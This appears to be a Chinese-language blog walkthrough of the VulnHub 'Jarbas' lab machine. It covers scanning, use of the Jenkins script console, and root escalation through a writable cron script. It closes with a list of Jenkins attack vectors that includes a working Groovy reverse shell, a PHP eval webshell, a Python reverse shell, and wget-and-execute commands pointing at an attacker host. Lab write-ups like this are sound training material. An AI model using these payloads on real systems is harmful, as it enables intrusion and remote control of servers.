vulhub jarbas

vulhub jarbas walkthrough

0x01 端口扫描

主机发现:

image.png

全端口扫描:

image.png

image.png

udp并无有效信息
详细信息扫描:

image.png

扫到8080是jetty 9.4.z-snapshot:用于java web的servlet容器(类似tomcat)

脚本扫描:

image.png

扫到8080的robots.txt,大致确定本机主要考察web渗透

0x02 web渗透

image.png

80应该是个买东西的网页?有注册、查找功能,查找功能无效

image.png

8080好像是jenkins的后台登录,jenkins好像是一个集成的开发平台,不是cms

我选择从80入手,目录爆破:

image.png

image.png

给了三个creds,还说加密很安全

image.png

全是md5,解密:

image.png

image.png

拿凭据第一件事先尝试ssh:

image.png

失败
回到主站,发现页面显示逻辑好像是通过f参数确定:

image.png

image.png

没测出idor和注入,但是在该页面发现登录和文件上传功能,且上传功能要先登录
尝试用刚获取的凭据登录:

image.png

登录功能需要的是邮箱,只能转去尝试注册了:

image.png

查看源码发现注册功能根本不能用

image.png

登录功能确实可用,思路断了
只能转去看8080了,目录爆破的同时尝试用刚刚的凭据登录:

image.png

只有eder的凭据登录成功,目录爆破毫无结果,直接开始后台的渗透:

Jenkins后台渗透

image.png

在“脚本命令行”功能中发现可以运行命令,提示说使用Groovy语法,google出简单语法,发现可以执行:

image.png

image.png

这里尝试了常规的rce使用的bash反弹,失败,甚至无法执行bash等shell命令,存疑!

常规rce反弹失败,直接从(https://forum.ywhack.com/shell.php)生成Groovy语法的反弹shell:

image.png

image.png

1
2
3
4
5
6
7
8
9
10
11
String host="10.10.10.128";
int port=9999;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

image.png

拿到立足点jenkins用户的shell

0x03 提权

初步信息探查:

image.png

自动任务枚举:

image.png

有root运行的自动任务,且文件有777权限
不知道为什么起不了交互shell,只能用重定向的方法把反弹shell语句写入自动任务脚本了:

image.png

image.png

拿到root flag

0x04 总结

  1. 端口扫描:80 web服务、8080 Jenkins后台、22 ssh、3306 mysql
  2. web渗透:从80隐藏页面拿到Jenkins登录凭据,使用Jenkins的脚本命令行实现getshell(其余多种攻击手法见下文)
  3. 提权:存在root身份的777权限的自动任务,修改后弹出root shell

0x05 Jenkins攻击向量总结

尝试拿配置文件

image.png

脚本命令行

  1. 简单命令执行(注意该语句不可执行反弹shell):
1
"whoami".execute().text;

image.png

  1. 修改文件:

以本靶机来说,在用上述简单命令执行语句发现系统存在自动任务提权时,即可通过直接在此处修改任务文件一步get rootshell

image.png

1
2
java.nio.file.Files.write(java.nio.file.Paths.get("/etc/script/CleaningScript.sh"), "\nbbb".getBytes(), java.nio.file.StandardOpenOption.APPEND);
"cat /etc/script/CleaningScript.sh".execute().text;

将APPEND替换为TRUNCATE_EXISTING可不用追加,直接覆盖

  1. 创建新文件(写马):

image.png

1
new File("/var/www/html/shell.php").write('<?php @eval($_POST[cmd]);?>');

有写权限时即可写入

  1. 反弹shell:

使用groovy语句反弹shell:

1
2
3
4
5
6
7
8
9
10
11
String host="10.10.10.128";
int port=9999;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

wget python文件反弹shell:

写python反弹脚本,wget到tmp下,再执行即可

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python
# This is a Python reverse shell script

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.10.128",9999));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
1
2
3
"wget http://10.10.10.128:80/2.py -P /tmp/".execute().text;
"cat /tmp/2.py".execute().text ;
//"python /tmp/2.py".execute().text ;

image.png

去掉注释符执行,拿到shell:

image.png

新建任务

image.png

image.png

image.png

image.png

image.png
image.png

公开漏洞利用

image.png

还有一个之前刚冲浪看到的新的CVE2024的RCE

参考文章

# 知其一不知其二之Jenkins Hacking
# Jenkins 漏洞利用


vulhub jarbas
https://fyhypo.github.io/blog/vulnhub/vulnhub jarbas/
作者
FYHypo
发布于
2024年3月27日
许可协议